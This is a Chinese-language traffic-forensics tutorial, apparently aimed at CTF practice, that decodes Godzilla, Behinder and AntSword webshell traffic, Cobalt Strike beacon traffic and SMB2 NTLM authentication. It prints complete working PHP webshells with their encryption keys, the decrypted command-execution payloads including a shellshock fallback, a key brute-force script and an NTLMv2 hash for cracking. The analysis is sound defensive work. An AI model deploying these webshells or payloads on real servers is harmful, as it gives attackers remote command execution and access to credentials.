tshark的使用

webshell流量

哥斯拉流量

https://github.com/BeichenDream/Godzilla

分析版本:Godzilla 4.01

基本配置界面:

alt

Password:请求参数名

Key:计算密钥的md5值,然后取其前16位用于加密过程

请求配置界面:

alt

自定义header以及在请求时添加干扰数据

Manage -> GenerateShell 中生成webshell:

alt

4种payload:

alt

每种payload都可以选择不同的Encryptor,分析部分以PhpDynamicPayload为例

php_xor_base64

webshell:

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

上传到目标url下后续通过Target即可连上webshell

尝试执行whoami并用wireshark抓取流量进行分析:

alt

请求包:

pass=fL1tMGI4YTljzn78f8Wo%2FyhTl1UCWCn3LmDlfWRkKzUxH296TG6bt%2B2%2F%2BxNczoCdLcxgKWf5RJxKpMRUFBQXAvtrNaTNJ38nzW6naG6Wzpc1qPSv%2BqPInQNVklSqrzuh8qmHp%2Fqjq%2F1uBQ6HEAG4ClwBUgFNPWFjapfQQTI0YQ%3D%3D

响应包:

11cd6a8758984163fL1tMGI4YTljO357H/pP+kzmKPpWiVHzUL/8e///TviE02cwwBczo3sxNTI=6c37ac826a2a04bc

可以发现请求包中是可以获取到密码配置信息的:pass

所以即使题目流量里没有给出上传的webshell,也可以通过爆破来获取密钥,原因在于响应包中是输出了拼接pass和key后的md5信息的:

echo substr(md5($pass.$key),0,16);  // 前16位,本例中为 11cd6a8758984163
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);  // 后16位,本例中为 6c37ac826a2a04bc

真正的执行结果为:

fL1tMGI4YTljO357H/pP+kzmKPpWiVHzUL/8e///TviE02cwwBczo3sxNTI=

验证:

alt

爆破脚本:

import hashlib

def md5_encode(text):
    return hashlib.md5(text.encode('utf-8')).hexdigest()

def crack_key(key, pass_key_hash):
    Pass = "pass"
    for k in key:
        key_hash_16 = md5_encode(k)[:16] # 密钥的md5前16位
        hash = md5_encode(Pass + key_hash_16)
        if pass_key_hash == hash:
            print("爆破密钥成功")
            print(f"密钥: {k}")
            print(f"密钥md5前16位为 {key_hash_16}")
            return k

    print("密钥爆破失败")

if __name__ == '__main__':
    hash_0_16 = "11cd6a8758984163"
    hash_16_32 = "6c37ac826a2a04bc"
    pass_key_hash = hash_0_16 + hash_16_32

    # 设置key 爆破字典
    with open("dict.txt",'r') as f:
        key = f.read().split()
    crack_key(key, pass_key_hash)

alt

根据webshell中的encode逻辑,可以看出只是一个 xor + base64 操作,run函数里面才是真正执行命令的部分,要获取run函数只要修改一下原本的webshell,输出 $payload 即可,里面提到gzip编码输出以及解码输入:

function run($pms){
    // ... (其他代码)

    // *** Gzip 解码输入数据 ***
    if (canCallGzipDecode()==1&&@isGzipStream($pms)){
        $pms=gzdecode($pms); // 这里是关键点之一:对传入参数 $pms 进行 gzdecode
    }
    formatParameter($pms);
    
    // ... (执行代码)

    $result=@evalFunc(); // 获取执行结果

    // ... (处理 Session 和错误)

    // *** Gzip 编码输出结果 ***
    if ($_SES!==null){ /* ... session save ... */ }
    if (canCallGzipEncode()){
        $result=gzencode($result,6); // 这里的关键点之二:对输出结果 $result 进行 gzencode
    }

    return $result;
}

直接用cyberchef就可以解出命令和执行结果,还要注意根据encode逻辑异或得从key的第二个字符开始:

alt

alt

php_eval_xor_base64

webshell:

<?php
eval($_POST["pass"]);

流量包:

alt

执行的代码:

alt

@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

这里的pass变成了key:

key=fL1tMGI4YTljzn78f8Wo%2FyhTl1UCWCn3LmDlfWRkKzUxH296TG6bt%2B2%2F%2BxNczoCdLcxgKWf5RJxKpMRUFBQXAvtrNaTNJ38nzW6naG6Wzpc1qPSv%2BqPInQNVklSqrzuh8qmHp%2Fqjq%2F1uBQ6HEAG4ClwBUgFNPWFjapfQQTI0YQ%3D%3D

执行的命令:

alt

执行结果:

alt

php_xor_raw

本质上都是xor,与 php_xor_base64 的区别是没有进行base64编码,从流量中导出参数时需要设置为raw,cyberchef解密时加一层 from hex

webshell:

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
    $data=encode($data,$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo encode(@run($data),$key);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

流量包:

alt

ASCII -> Raw:

alt

执行的命令:

alt

执行结果:

alt

冰蝎流量

https://github.com/rebeyond/Behinder

分析版本:Behinder 4.1

配置界面:

alt

和哥斯拉不同的是每种加密函数都有对应的解密函数给出,默认密钥 e45e329feb5d925b

通过生成服务端来获取webshell,还是以php代码为例

default_xor_base64

Encrypt:

function Encrypt($data)
{
    $key="e45e329feb5d925b"; 
	for($i=0;$i<strlen($data);$i++) {
    	$data[$i] = $data[$i]^$key[$i+1&15]; 
    }
    $bs="base64_"."encode";
	$after=$bs($data."");
    return $after;
}

Decrypt:

function Decrypt($data)
{
    $key="e45e329feb5d925b"; 
    $bs="base64_"."decode";
	$after=$bs($data."");
	for($i=0;$i<strlen($after);$i++) {
    	$after[$i] = $after[$i]^$key[$i+1&15]; 
    }
    return $after;
}

webshell:

<?php
@error_reporting(0);
function Decrypt($data)
{
    $key="e45e329feb5d925b"; 
    $bs="base64_"."decode";
	$after=$bs($data."");
	for($i=0;$i<strlen($after);$i++) {
    	$after[$i] = $after[$i]^$key[$i+1&15]; 
    }
    return $after;
}
$post=Decrypt(file_get_contents("php://input"));
@eval($post);
?>

流量包:

alt

请求部分进行 base64 + xor 解密获取执行的命令:

alt

@error_reporting(0);

function getSafeStr($str){
    $s1 = iconv('utf-8','gbk//IGNORE',$str);
    $s0 = iconv('gbk','utf-8//IGNORE',$s1);
    if($s0 == $str){
        return $s0;
    }else{
        return iconv('gbk','utf-8//IGNORE',$str);
    }
}
function main($cmd,$path)
{
    @set_time_limit(0);
    @ignore_user_abort(1);
    @ini_set('max_execution_time', 0);
    $result = array();
    $PadtJn = @ini_get('disable_functions');
    if (! empty($PadtJn)) {
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
        $PadtJn = explode(',', $PadtJn);
        $PadtJn = array_map('trim', $PadtJn);
    } else {
        $PadtJn = array();
    }
    $c = $cmd;
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
        $c = $c . " 2>&1\n";
    }
    $JueQDBH = 'is_callable';
    $Bvce = 'in_array';
    if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
        ob_start();
        system($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
        $handle = proc_open($c, array(
            array(
                'pipe',
                'r'
            ),
            array(
                'pipe',
                'w'
            ),
            array(
                'pipe',
                'w'
            )
        ), $pipes);
        $kWJW = NULL;
        while (! feof($pipes[1])) {
            $kWJW .= fread($pipes[1], 1024);
        }
        @proc_close($handle);
    } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
        ob_start();
        passthru($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
        $kWJW = shell_exec($c);
    } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
        $kWJW = array();
        exec($c, $kWJW);
        $kWJW = join(chr(10), $kWJW) . chr(10);
    } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
        $fp = popen($c, 'r');
        $kWJW = NULL;
        if (is_resource($fp)) {
            while (! feof($fp)) {
                $kWJW .= fread($fp, 1024);
            }
        }
        @pclose($fp);
    } else {
        $kWJW = 0;
        $result["status"] = base64_encode("fail");
        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
        $key = $_SESSION['k'];
        echo encrypt(json_encode($result));
        return;
        
    }
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode(getSafeStr($kWJW));
    echo encrypt(json_encode($result));
}


function Encrypt($data)
{
    $key="e45e329feb5d925b"; 
	for($i=0;$i<strlen($data);$i++) {
    	$data[$i] = $data[$i]^$key[$i+1&15]; 
    }
    $bs="base64_"."encode";
	$after=$bs($data."");
    return $after;
}
$cmd="Y2QgL2QgIkQ6XEFBQUNURlxXRUJccGhwU3R1ZHlfNjRccGhwc3R1ZHlfcHJvXFdXV1x0ZXN0XCImd2hvYW1p";$cmd=base64_decode($cmd);$path="RDovQUFBQ1RGL1dFQi9waHBTdHVkeV82NC9waHBzdHVkeV9wcm8vV1dXL3Rlc3Qv";$path=base64_decode($path);
main($cmd,$path);

可以看出执行的命令就是$cmd,命令执行目录为$path,返回的响应包中是一个encrypt过的json,里面有两条信息 $status 和 $msg,都是base64编码过的,其中$msg为执行结果:

alt

alt

alt

alt

aes_with_magic

Encrypt:

function Encrypt($data)
{
    $key="e45e329feb5d925b";
    $encrypted=base64_encode(openssl_encrypt($data, "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING));
    $magicNum=hexdec(substr($key,0,2))%16;
    for($i=0;$i<$magicNum;$i++)
    {
        $encrypted=$encrypted.chr(mt_rand(0, 255));
    }
    return $encrypted;
}

Decrypt:

function Decrypt($data)
{
    $key="e45e329feb5d925b";
    $magicNum=hexdec(substr($key,0,2))%16;
    $data=substr($data,0,strlen($data)-$magicNum);
    return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);
}

webshell:

<?php
@error_reporting(0);
    function Decrypt($data)
    {
        $key="e45e329feb5d925b";
        $magicNum=hexdec(substr($key,0,2))%16;
        $data=substr($data,0,strlen($data)-$magicNum);
        return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);
    }
$post=Decrypt(file_get_contents("php://input"));
@eval($post);
?>

aes_with_magic 会在尾部添加几个随机字符用于干扰,长度根据 $magicNum 而定,比如本例中为4,又因为没有传入IV,所以解密时初始向量为 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

流量包,请求包尾部有4个额外字符:

alt

解密出执行内容以后,后续解密执行命令和执行结果都与之前没有区别:

alt

default_aes

webshell:

<?php
@error_reporting(0);
	function Decrypt($data)
	{
		$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
		return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);
	}
$post=Decrypt(file_get_contents("php://input"));
@eval($post);
?>

和aes_with_magic的唯一区别是没有干扰字符,直接就可以拿请求包的数据进行解密

中国蚁剑

https://github.com/AntSwordProject/antSword

蚁剑能配置自定义编码器:

alt

这里用蚁剑自带的进行分析

webshell:

<?php
@eval($_REQUEST[1]);
?>

流量包:

alt

URL Decode一下传入的参数:

1=@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.6c8e53";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "e41"."be6d";echo @asenc($output);echo "d8c66d"."0bb0fb";}ob_start();try{$p=base64_decode(substr($_POST["beb61c5242a79d"],2));$s=base64_decode(substr($_POST["t785fa3d878e6e"],2));$envstr=@base64_decode(substr($_POST["g64b1274b158be"],2));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";if(substr($d,0,1)=="/"){@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");}else{@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");}if(!empty($envstr)){$envarr=explode("|||asline|||", $envstr);foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v));}}}$r="{$p} {$c}";function fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("a@127.0.0.1", "", "", "-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;};function runcmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join("
",$o));}elseif(fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe('proc_open')){$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe('antsystem')){@antsystem($c);}elseif(runshellshock($d, $c)) {return $ret;}elseif(substr($d,0,1)!="/" && @class_exists("COM")){$w=new COM('WScript.shell');$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);}else{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();&beb61c5242a79d=UwY21k&g64b1274b158be=ne&t785fa3d878e6e=2fY2QgL2QgIkQ6L0FBQUNURi9XRUIvcGhwU3R1ZHlfNjQvcGhwc3R1ZHlfcHJvL1dXVy90ZXN0IiZ3aG9hbWkmZWNobyA1ZTYzMTFkMDQmY2QmZWNobyBmZGFjNzgyNTQx

分析一下可以知道:

$p=base64_decode(substr($_POST["beb61c5242a79d"],2)); // 程序路径
$s=base64_decode(substr($_POST["t785fa3d878e6e"],2)); // 实际命令
$envstr=@base64_decode(substr($_POST["g64b1274b158be"],2)); // 环境变量

蚁剑比较特殊的是会在参数值前加上2个干扰字符,所以就有了 substr 从第三个字符开始进行解码,并且在输出内容的前后加上特定的十六进制字符串 e41be6d 和 d8c66d0bb0fb,这也是蚁剑的特征:

alt

alt

Cobalt Strike流量

分析版本:Cobalt Strike 4.0

C/S架构:

alt

cs分为客户端和服务器端,使用cs时必须要启用TeamServer服务器,需要有可执行权限,TeamServer功能:

控制 - Team Server是Cobalt Strike中所有payload的主控制器,与victim的所有连接 bind/reverse 都由Team Server管理。
日志记录 - Cobalt Strike中发生的所有事件 保存在logs文件夹
信息搜集 - 收集在后渗透阶段发现的、或攻击者在目标系统上用于登录的所有凭据credentials
自定义脚本 - cat teamserver可看到该文件是一个简单的bash脚本(可根据自己要求修改) 调用Metasploit RPC服务msfrpcd并启动服务器cobaltstrike.jar

cs使用基本流程:

1.启动TeamServer
2.Client登录TeamServer

启动TeamServer,默认端口50050,可以通过编辑teamserver文件修改:

$ sudo ./teamserver                         
[*] Will use existing X509 certificate and keystore (for SSL)
[*] ./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]

        <host> is the (default) IP address of this Cobalt Strike team server
        <password> is the shared password to connect to this server
        [/path/to/c2.profile] is your Malleable C2 profile
        [YYYY-MM-DD] is a kill date for Beacon payloads run from this server
<host>:必填,服务器公网ip或域名
<password>:必填,客户端Client GUI连接服务器TeamServer的密码
[/path/to/c2.profile]:选填,指定C2通信配置文件
[YYYY-MM-DD]:所有payload的终止日期

Client登录TeamServer,启动cobaltstrike.jar:

java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar

需要填写一些基本信息:

alt

可通过Cobalt Strike - > Preferences - > Team Servers维护本地的登录信息配置文件的列表team server profiles

登陆成功后就能看到GUI界面

Cobalt Strike - > Preferences - > Listeners,cs4.0 一共8种listener:

alt

http-beacon

配置listener:

alt

生成windows可执行程序,staged对应artifact.exe,stageless对应beacon.exe,有明显的大小区别并且stageless没有stage下载的步骤:

alt

以artifact.exe为例进行流量抓取和分析:

靶机运行stager后会自动进行stage下载,stager对应的请求路径并非真实存在,比如 /WCTo,但是满足一定要求 (checksum8),路径的 ascii 之和与 256 取余计算值得到结果,32位后门结果为92,64位后门结果为93,这样stager就知道要返回stage:

alt

可以用 metatool 来检验一下:

alt

1768.py 来分析 stage,如果存在已知私钥会在publickey之后显示 Has Known private key,本例并不存在已知私钥:

alt

stage 被加载和执行后的运行状态也就是最终的恶意程序Beacon,Beacon 与 C2 服务器之间的加密机制采用混合加密模式,以确保通信的机密性和效率:

公钥交换与会话建立 (元数据加密): 在 Beacon 首次连接(或心跳回连)时,它会使用内置的 C2 公钥 (RSA) 来加密一个随机生成的会话密钥 (Session Key) 和初始元数据
私钥解密: Team Server 收到该数据后,使用其对应的 私钥 (RSA) 将其解密,从而安全地获得这个一次性的会话密钥
对称加密 (后续通信): 一旦会话密钥建立,Beacon 与 C2 之间的后续所有命令、执行结果和数据传输,都将使用这个会话密钥进行 AES 对称加密

alt

可以根据 1768.py 脚本执行结果对cs流量进行初步分析:

0x0001 payload type                     0x0001 0x0002 0 windows-beacon_http-reverse_http
0x0002 port                             0x0001 0x0002 80
0x0003 sleeptime                        0x0002 0x0004 60000
0x0007 publickey                        0x0003 0x0100 30819f300d06092a864886f70d010101050003818d0030818902818100ad0a7e620a2f982cecd21f35961a7d02002ff6e04c5ca148398c8bfb4beadc72b337efe5b7fe0219fb54f9a17d70fd3d20e3c62b53e96813a0b077045cd4b7ef9e743450a85ba8d25bb65500c00bcdcd00594d54d0da24829827cbb5a64248e082165c024ddbb31e117a69a49893d3006e8b3b74f8c8a577b96ad2b9f8af04cf020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0x0008 server,get-uri                   0x0003 0x0100 '192.168.50.128,/IE9CompatViewList.xml'
0x000a post-uri                         0x0003 0x0040 '/submit.php'

payload类型即监听器类型,心跳包间隔时间,回连ip/端口,get/post请求路径这些关键信息都有,方便后续从流量里定位重要信息

先来看GET的流量包:

alt

C2 Profile 决定了元数据编码的位置,本例中利用 Cookie 携带信息 (Metadata) 传递给C2服务器,可以用 cs-decrypt-metadata.py 来解密元数据,但是需要用到私钥,如果是题目可能会给出私钥文件 .cobaltstrike.beacon_keys,这时可以用 parse_beacon_keys.py 来解析出公私钥:

alt

将私钥变成hex形式:

alt

再用 cs-decrypt-metadata.py 解出 rawkey, aeskey 和 hmackey,可以看到还有靶机ip 用户名等信息:

alt

最后就可以用 cs-parse-http-traffic.py 来解密整段cs流量,需要提供原始密钥 rawkey:

alt

从第478个包开始响应中包含需要执行的命令,但是直接过滤器配置 frame.number >= 278 即可,避免遗漏命令,可以发现我抓取的整段cs流量最终在靶机上只执行了一个命令 whoami

cs流量分析利用到的工具:

https://github.com/DidierStevens/DidierStevensSuite/blob/master/1768.py

https://github.com/DidierStevens/Beta/blob/master/metatool.py

https://github.com/DidierStevens/DidierStevensSuite/blob/master/cs-decrypt-metadata.py

https://github.com/Slzdude/cs-scripts/blob/master/parse_beacon_keys.py

https://github.com/DidierStevens/Beta/blob/master/cs-parse-http-traffic.py

SMB2

解密SMB2流量需要构造哈希进行爆破获取密码,格式:username::domain:ServerChallenge:NTproofstring:modifiedntlmv2response

过滤器设置ntlmssp来获取认证握手,NTLMSSP_AUTH包中Security Blob层:

alt

再过滤ntlmssp.ntlmserverchallenge:

alt

构造出完整哈希,注意流量里的ntlmv2response开头为NTproofstring,需要删除:

root::.:924ca077500cd533:e43ae3e491ffe96bca5383b9c0bc4946:0101000000000000b6ca87356b64dc01eca054741fa479e600000000020008004b0041004c004900010008004b0041004c00490004000000030008006b0061006c00690007000800b6ca87356b64dc0106000400020000000800300030000000000000000100000000200000e5528e00f4d9b3bf475abbb1d4e90ac0163587fccd7d2e8aafdb9b455327e48d0a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00350030002e003100320038000000000000000000

也可以直接通过NTLMv2 hash抓取工具NTLMRawUnHide来直接获取哈希:

alt

hashcat爆破密码:

alt

如果要查看通过SMB传输的文件,在wireshark中导出SMB对象即可:

alt

参考资料:

https://goodlunatic.github.io/posts/5422d65/

https://www.ddosi.org/cobaltstrike/

https://xz.aliyun.com/news/3607

https://www.ddosi.org/cs-decrypt-1/

https://www.ddosi.org/cs-decrypt-2/

https://www.secpulse.com/archives/106276.html